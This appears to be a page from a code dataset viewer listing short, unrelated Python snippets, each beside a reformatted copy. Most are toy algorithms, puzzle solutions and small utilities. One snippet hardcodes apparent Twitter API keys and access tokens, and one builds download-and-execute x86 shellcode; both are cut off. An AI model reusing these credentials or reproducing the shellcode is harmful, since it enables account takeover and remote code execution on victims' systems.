return fac(n - 1) * n
def ap(h, n):
if len(n) == 0:
print(h)
for k in sorted(set(n)):
t = list(n)
t.remove(k)
ap(h + k, t)
print(fac(len... |
"""
******************************************
init file - to tell python that this folder
is a package.
Left blank for now.
******************************************
""" | """
******************************************
init file - to tell python that this folder
is a package.
Left blank for now.
******************************************
""" |
points = []
distances = []
number_of_cases = int(input())
for x in range(number_of_cases):
number_of_points = int(input())
for y in range(number_of_points):
point = list(input().split())
points.append(point)
distances.append((int(point[1]) ** 2 + int(point[2]) ** 2) ** (1/2))
distanc... | points = []
distances = []
number_of_cases = int(input())
for x in range(number_of_cases):
number_of_points = int(input())
for y in range(number_of_points):
point = list(input().split())
points.append(point)
distances.append((int(point[1]) ** 2 + int(point[2]) ** 2) ** (1 / 2))
(dist... |
pairs = {
"(": ")",
"[": "]",
"{": "}",
"<": ">",
}
scores = {
")": 3,
"]": 57,
"}": 1197,
">": 25137,
}
with open('./input', encoding='utf8') as file:
lines = [line.strip() for line in file.readlines()]
score = 0
for line in lines:
next_char = []
for char in line:
... | pairs = {'(': ')', '[': ']', '{': '}', '<': '>'}
scores = {')': 3, ']': 57, '}': 1197, '>': 25137}
with open('./input', encoding='utf8') as file:
lines = [line.strip() for line in file.readlines()]
score = 0
for line in lines:
next_char = []
for char in line:
if char in pairs:
next_char.... |
n = 0
i = 0
while True:
try:
e = input()
n += int(input())
i += 1
except EOFError:
print('{:.1f}'.format(float(n / i)))
break
| n = 0
i = 0
while True:
try:
e = input()
n += int(input())
i += 1
except EOFError:
print('{:.1f}'.format(float(n / i)))
break |
routes = {
'/':
{
"controller": "home.index",
"accepted_method": "GET,POST"
},
'/user':
{
"controller": "user.index",
"accepted_method": "GET"
},
'/user/create':
{
"controller": "user.create",
"ac... | routes = {'/': {'controller': 'home.index', 'accepted_method': 'GET,POST'}, '/user': {'controller': 'user.index', 'accepted_method': 'GET'}, '/user/create': {'controller': 'user.create', 'accepted_method': 'POST'}} |
class BaseAction(object):
method: str = None
args: list = []
kwargs: dict = {}
def __repr__(self):
return '<{} m={}, a={}, k={}>'.format(
self.__class__.__name__,
self.method,
self.args,
self.kwargs,
)
class DatabaseAction(BaseAction):
pass | class Baseaction(object):
method: str = None
args: list = []
kwargs: dict = {}
def __repr__(self):
return '<{} m={}, a={}, k={}>'.format(self.__class__.__name__, self.method, self.args, self.kwargs)
class Databaseaction(BaseAction):
pass |
try:
unicode
except NameError:
basestring = unicode = str
| try:
unicode
except NameError:
basestring = unicode = str |
class Solution:
def subarraysWithKDistinct(self, nums: List[int], k: int) -> int:
"""
[1,2,1,2,3], k = 2
^
^
0 1 2 3
[1,1,2,2,1,1], k = 2
^
^
2 2
[1,1,2,1,1,1], k = 2
3 3 3
... | class Solution:
def subarrays_with_k_distinct(self, nums: List[int], k: int) -> int:
"""
[1,2,1,2,3], k = 2
^
^
0 1 2 3
[1,1,2,2,1,1], k = 2
^
^
2 2
[1,1,2,1,1,1], k = 2
3 ... |
#!/usr/bin/env python3
class Bit:
HIGH = 1
LOW = 0
SHORT = -1
UNDEFINED = -2
def __init__(self, value=UNDEFINED):
if value not in [Bit.HIGH, Bit.LOW, Bit.SHORT, Bit.UNDEFINED]:
raise ValueError("Unknown Bit value given")
self.value = value
def get(self):
i... | class Bit:
high = 1
low = 0
short = -1
undefined = -2
def __init__(self, value=UNDEFINED):
if value not in [Bit.HIGH, Bit.LOW, Bit.SHORT, Bit.UNDEFINED]:
raise value_error('Unknown Bit value given')
self.value = value
def get(self):
if self.value in [Bit.UND... |
consumer_key = 'hD98CV5uD4rFVsYuBk8xAzpLd'
consumer_secret = ' 3jrN58VAI6ZuyAmicMReMdmOPjM2o0WKaBz1FWzhFQ8TfNblkS'
access_token = '81300781-vHqEdU2fgJLalyrFzsRscRAgb9zEZYC9giIzQgnoZ'
access_token_secret = 'uliqVE0Ofv8sWfWGu97jUHKceLpQm8Ky4waVwKO5KzV2E'
| consumer_key = 'hD98CV5uD4rFVsYuBk8xAzpLd'
consumer_secret = '\t3jrN58VAI6ZuyAmicMReMdmOPjM2o0WKaBz1FWzhFQ8TfNblkS'
access_token = '81300781-vHqEdU2fgJLalyrFzsRscRAgb9zEZYC9giIzQgnoZ'
access_token_secret = 'uliqVE0Ofv8sWfWGu97jUHKceLpQm8Ky4waVwKO5KzV2E' |
with open("./fine_tuning_data/asTSV/1kmer_tsv_data/GM12878/GM12878_enhancer_te.tsv", "r") as f:
en_samples = f.readlines()
f.close()
with open("./fine_tuning_data/asTSV/1kmer_tsv_data/GM12878/GM12878_promoter_te.tsv", "r") as f:
pr_samples = f.readlines()
f.close()
with open("./fine_tuning_data/asTSV/1kmer_ts... | with open('./fine_tuning_data/asTSV/1kmer_tsv_data/GM12878/GM12878_enhancer_te.tsv', 'r') as f:
en_samples = f.readlines()
f.close()
with open('./fine_tuning_data/asTSV/1kmer_tsv_data/GM12878/GM12878_promoter_te.tsv', 'r') as f:
pr_samples = f.readlines()
f.close()
with open('./fine_tuning_data/asTSV/1kmer_tsv_... |
# Manual Labor
# Constants
LIMBERT = 1106002
EGG = 4033196
sm.setSpeakerID(LIMBERT)
selection1 = sm.sendNext("Where's the eggs? I told you to get eggs. If you broke them... Wait a second, what happened to you?\r\n #b\r\n#L0# Uh, well, you know how you told me not to mess with Bigby? Well... I kinda... He got out.#l")... | limbert = 1106002
egg = 4033196
sm.setSpeakerID(LIMBERT)
selection1 = sm.sendNext("Where's the eggs? I told you to get eggs. If you broke them... Wait a second, what happened to you?\r\n #b\r\n#L0# Uh, well, you know how you told me not to mess with Bigby? Well... I kinda... He got out.#l")
if selection1 == 0:
sm.s... |
#!/usr/bin/python2
print("content-type: text/html")
print("")
#print("hello")
print("""
<a href='hdfs.py'> Hadoop </a>
<br/>
<a href='mapred.py'> MapReduce </a>
""")
| print('content-type: text/html')
print('')
print("\n<a href='hdfs.py'> Hadoop </a>\n<br/>\n<a href='mapred.py'> MapReduce </a>\n") |
class Solution(object):
def XXX(self, height):
m,i,j = 0, 0, len(height)-1
while i != j:
m = max(m, min(height[i],height[j])*(j-i))
if height[i] < height[j]:
i += 1
else:
j -= 1
return m
| class Solution(object):
def xxx(self, height):
(m, i, j) = (0, 0, len(height) - 1)
while i != j:
m = max(m, min(height[i], height[j]) * (j - i))
if height[i] < height[j]:
i += 1
else:
j -= 1
return m |
d={}
i=0
c='y'
while(c!=''):
c=input()
d[i]=c
i=i+1
for j in range(0,i):
if((j+1)%3==0):
print(d[j]) | d = {}
i = 0
c = 'y'
while c != '':
c = input()
d[i] = c
i = i + 1
for j in range(0, i):
if (j + 1) % 3 == 0:
print(d[j]) |
BROKER_REL = 5
FACT_ST = 3.44
CORP_ST = 4.62
def broker_fee (broker_rel, fact_st, corp_st):
return (1.000 - 0.050 * broker_rel) / 2 ** (0.1400 * fact_st + 0.06000 * corp_st)
BROKER_FEE = broker_fee(BROKER_REL, FACT_ST, CORP_ST)/100
SELL_TAX= 0.75/100
def tax (buy, sell, vol, broker_fee = BROKER_FEE, sell_tax=S... | broker_rel = 5
fact_st = 3.44
corp_st = 4.62
def broker_fee(broker_rel, fact_st, corp_st):
return (1.0 - 0.05 * broker_rel) / 2 ** (0.14 * fact_st + 0.06 * corp_st)
broker_fee = broker_fee(BROKER_REL, FACT_ST, CORP_ST) / 100
sell_tax = 0.75 / 100
def tax(buy, sell, vol, broker_fee=BROKER_FEE, sell_tax=SELL_TAX):
... |
dna = input()
print("A:", dna.count("A"), ", C:", dna.count("C"), ", G:", dna.count("G"), ", T:", dna.count("T"))
'''
GitHub [https://github.com/Rodel-OL/python_class/blob/master/templates/Conta_Bases.py]
NAME
Conta_Bases.py
VERSION
[1.1]
AUTHOR
[Rodel-OL] <joserodelmar@gmail.com>
[Other author... | dna = input()
print('A:', dna.count('A'), ', C:', dna.count('C'), ', G:', dna.count('G'), ', T:', dna.count('T'))
'\n\nGitHub [https://github.com/Rodel-OL/python_class/blob/master/templates/Conta_Bases.py]\n\nNAME \n\tConta_Bases.py\n\nVERSION\n\t[1.1]\n\nAUTHOR\n\t[Rodel-OL] <joserodelmar@gmail.com>\n\t[Other authors]... |
"""
@Yam 20190809
"""
class Node:
def __init__(self, name: str):
self.name = name
self.children = []
class MultiTree:
def __init__(self, root="/"):
self.root = Node(root)
def build(self, lst):
for p in lst:
# f is file or folder list
f = p.split("/"... | """
@Yam 20190809
"""
class Node:
def __init__(self, name: str):
self.name = name
self.children = []
class Multitree:
def __init__(self, root='/'):
self.root = node(root)
def build(self, lst):
for p in lst:
f = p.split('/')
pointer = self.root
... |
class TestClass:
def __init__(self) -> None:
self.__opt1 = 1
@property
def opt1(self):
'''this is a property doc'''
return self.__opt1
help(TestClass.opt1)
# Help on property:
# this is a property doc | class Testclass:
def __init__(self) -> None:
self.__opt1 = 1
@property
def opt1(self):
"""this is a property doc"""
return self.__opt1
help(TestClass.opt1) |
def downloadANDexecute( url, filename):
shellcode = r"\x31\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xd8\x74\x3b\x31\xc9\x31\xdb\x31\xc0\x6a\x05\x89\xe1\x89\xe1\x89\xe3\xb0\xa2\xcd\x80\x31\xc9\x31\xc0\x50\xb0\x0f"
shellcode += filename
shellcode += r"\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x31\xc0\x50"
shellcode += filename... | def download_an_dexecute(url, filename):
shellcode = '\\x31\\xc0\\xb0\\x02\\xcd\\x80\\x31\\xdb\\x39\\xd8\\x74\\x3b\\x31\\xc9\\x31\\xdb\\x31\\xc0\\x6a\\x05\\x89\\xe1\\x89\\xe1\\x89\\xe3\\xb0\\xa2\\xcd\\x80\\x31\\xc9\\x31\\xc0\\x50\\xb0\\x0f'
shellcode += filename
shellcode += '\\x89\\xe3\\x31\\xc9\\x66\\xb9\... |
class Player:
def __init__(self, btag, platform, soup):
self.btag = btag
self.platform = platform
self.soup = soup
def get_sr(self):
""" Get the SR of this player.
If SR isn't displayed on their profile, returns none.
:rtype:
integer
... | class Player:
def __init__(self, btag, platform, soup):
self.btag = btag
self.platform = platform
self.soup = soup
def get_sr(self):
""" Get the SR of this player.
If SR isn't displayed on their profile, returns none.
:rtype:
integer
... |
"""
516
medium
longest palindromic subsequence
Given a string s, find the longest palindromic subsequence's length in s.
A subsequence is a sequence that can be derived from another sequence by
deleting some or no elements without changing the order of the remaining elements.
"""
class Solution:
def longestP... | """
516
medium
longest palindromic subsequence
Given a string s, find the longest palindromic subsequence's length in s.
A subsequence is a sequence that can be derived from another sequence by
deleting some or no elements without changing the order of the remaining elements.
"""
class Solution:
def longest_... |
"""
WAP to enter the numbers till the user wants and at the end the program should display the
largest and smallest numbers entered.
"""
infinity = float('inf')
smallest = infinity
largest = -infinity
while True:
number = int(input('Number: \t'))
if number > largest:
largest = number
if number < s... | """
WAP to enter the numbers till the user wants and at the end the program should display the
largest and smallest numbers entered.
"""
infinity = float('inf')
smallest = infinity
largest = -infinity
while True:
number = int(input('Number: \t'))
if number > largest:
largest = number
if number < sma... |
N = int(input())
RES = {}
def result(n, m, k):
if (n, m, k) in RES:
return RES[n, m, k]
else:
RES[n, m, k] = _result(n, m, k)
return RES[n, m, k]
def _result(n, m, k):
if n == 0:
return 1
else:
s = 0
for l in range(1, n + 1):
if (l - m) % ... | n = int(input())
res = {}
def result(n, m, k):
if (n, m, k) in RES:
return RES[n, m, k]
else:
RES[n, m, k] = _result(n, m, k)
return RES[n, m, k]
def _result(n, m, k):
if n == 0:
return 1
else:
s = 0
for l in range(1, n + 1):
if (l - m) % k =... |
#!/usr/bin/python
IMAGE_RESOLUTION = (640, 480)
IMAGE_BYTE_SIZE = IMAGE_RESOLUTION[0] * IMAGE_RESOLUTION[1] * 3
GRAYSCALE_IMAGE_BYTE_SIZE = IMAGE_RESOLUTION[0] * IMAGE_RESOLUTION[1]
IMAGE_DATA_SERVICE = 3380
DISCOVER_CAMERA_SERVICE = 3070
CAMERA_SERVICE = 3070
SERVICE_DISCOVER_REQU... | image_resolution = (640, 480)
image_byte_size = IMAGE_RESOLUTION[0] * IMAGE_RESOLUTION[1] * 3
grayscale_image_byte_size = IMAGE_RESOLUTION[0] * IMAGE_RESOLUTION[1]
image_data_service = 3380
discover_camera_service = 3070
camera_service = 3070
service_discover_request_header = 'WHERE_IS_'
gray_scale_image_type = 0
color... |
class graph:
def __init__(self):
self.vertices = {}
self.depth = {}
def add_node(self,myid):
if myid in self.vertices:
print("Node already added")
else:
self.vertices[myid] = set()
self.depth[myid] = 0
def add_edge(self,id1,id2):
se... | class Graph:
def __init__(self):
self.vertices = {}
self.depth = {}
def add_node(self, myid):
if myid in self.vertices:
print('Node already added')
else:
self.vertices[myid] = set()
self.depth[myid] = 0
def add_edge(self, id1, id2):
... |
{
"includes": ["common.gypi"],
"targets": [{
"target_name": "test-runner",
"type": "executable",
"include_dirs": ["deps/bandit", "test"],
"includes": ["slimsig.gypi"],
"sources": [
"test/test.cpp",
# for ease of development
"include/slimsig/slimsig.h",
"include/slimsig/tracked_co... | {'includes': ['common.gypi'], 'targets': [{'target_name': 'test-runner', 'type': 'executable', 'include_dirs': ['deps/bandit', 'test'], 'includes': ['slimsig.gypi'], 'sources': ['test/test.cpp', 'include/slimsig/slimsig.h', 'include/slimsig/tracked_connect.h', 'include/slimsig/detail/signal_base.h', 'include/slimsig/co... |
# -*- coding: utf-8 -*-
"""
main.py: Homework #6: Advanced Loops (Python Is Easy course by Pirple)
Details:
Create a function that takes in two parameters: rows, and columns, both
of which are integers. The function should then proceed to draw a
playing board (as in the examples from the lectures) the same number of... | """
main.py: Homework #6: Advanced Loops (Python Is Easy course by Pirple)
Details:
Create a function that takes in two parameters: rows, and columns, both
of which are integers. The function should then proceed to draw a
playing board (as in the examples from the lectures) the same number of
rows and columns as spec... |
# Converts lines in a csv file into sql statements
file_path="C:/Users/MMZ/code/sample_python/csv-list.csv"
output_path="C:/Users/MMZ/code/sample_python/sql_stats.sql"
output_file = open(output_path, "w")
with open(file_path,"r") as mfile:
for row in mfile:
# Parse each line in the CSV file as a row
... | file_path = 'C:/Users/MMZ/code/sample_python/csv-list.csv'
output_path = 'C:/Users/MMZ/code/sample_python/sql_stats.sql'
output_file = open(output_path, 'w')
with open(file_path, 'r') as mfile:
for row in mfile:
if row != '\n':
new_string = row.lower()
details_list = new_string.split... |
def wait_for_enter():
input('Press [Enter] to continue... ')
print()
def print_with_step(context: dict, msg: str):
print(f"{context['step_no']}. {msg}")
def input_with_step(context: dict, msg: str) -> str:
return input(f"{context['step_no']}. {msg}")
class NameProjectStep(object):
@staticmetho... | def wait_for_enter():
input('Press [Enter] to continue... ')
print()
def print_with_step(context: dict, msg: str):
print(f"{context['step_no']}. {msg}")
def input_with_step(context: dict, msg: str) -> str:
return input(f"{context['step_no']}. {msg}")
class Nameprojectstep(object):
@staticmethod
... |
class Trainer(object):
name = ""
team = ""
fav = ""
caught_pokemon = ""
def __init__(self, name):
self.name = name
| class Trainer(object):
name = ''
team = ''
fav = ''
caught_pokemon = ''
def __init__(self, name):
self.name = name |
def plot_polynomial(file, function, p_x, x=None, formula=""):
pass
def plot_regression(file, x, y, prediction, groundtruth):
pass
| def plot_polynomial(file, function, p_x, x=None, formula=''):
pass
def plot_regression(file, x, y, prediction, groundtruth):
pass |
class Node:
def __init__(self,data):
self.data = data
self.next = None
def printlist( head):
temp = head
res = []
while(True) :
res.append(f"{temp.data}")
temp = temp.next
if (temp == head):
break
return "-->".join(res)
def deleteNode( head, key)... | class Node:
def __init__(self, data):
self.data = data
self.next = None
def printlist(head):
temp = head
res = []
while True:
res.append(f'{temp.data}')
temp = temp.next
if temp == head:
break
return '-->'.join(res)
def delete_node(head, key):
... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.